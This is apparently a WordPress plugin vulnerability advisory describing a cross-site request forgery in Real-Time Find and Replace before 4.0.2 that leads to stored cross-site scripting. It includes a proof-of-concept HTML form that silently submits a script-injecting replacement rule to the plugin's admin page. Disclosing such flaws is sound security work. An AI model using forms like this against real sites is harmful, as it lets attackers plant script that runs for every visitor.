WordPress Plugin Vulnerabilities

Real-Time Find and Replace < 4.0.2 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Description

This flaw could allow any user to inject malicious Javascript anywhere on a site if they could trick a site’s administrator into performing an action, like clicking on a link in a comment or email.

Proof of Concept

<html>
  <body>
    <form action="http://URL/wp-admin/tools.php?page=real-time-find-and-replace" method="POST">
      <input type="hidden" name="setup&#45;update" value="" />
      <input type="hidden" name="farfind&#91;0&#93;" value="&lt;head&gt;" />
      <input type="hidden" name="farreplace&#91;0&#93;" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>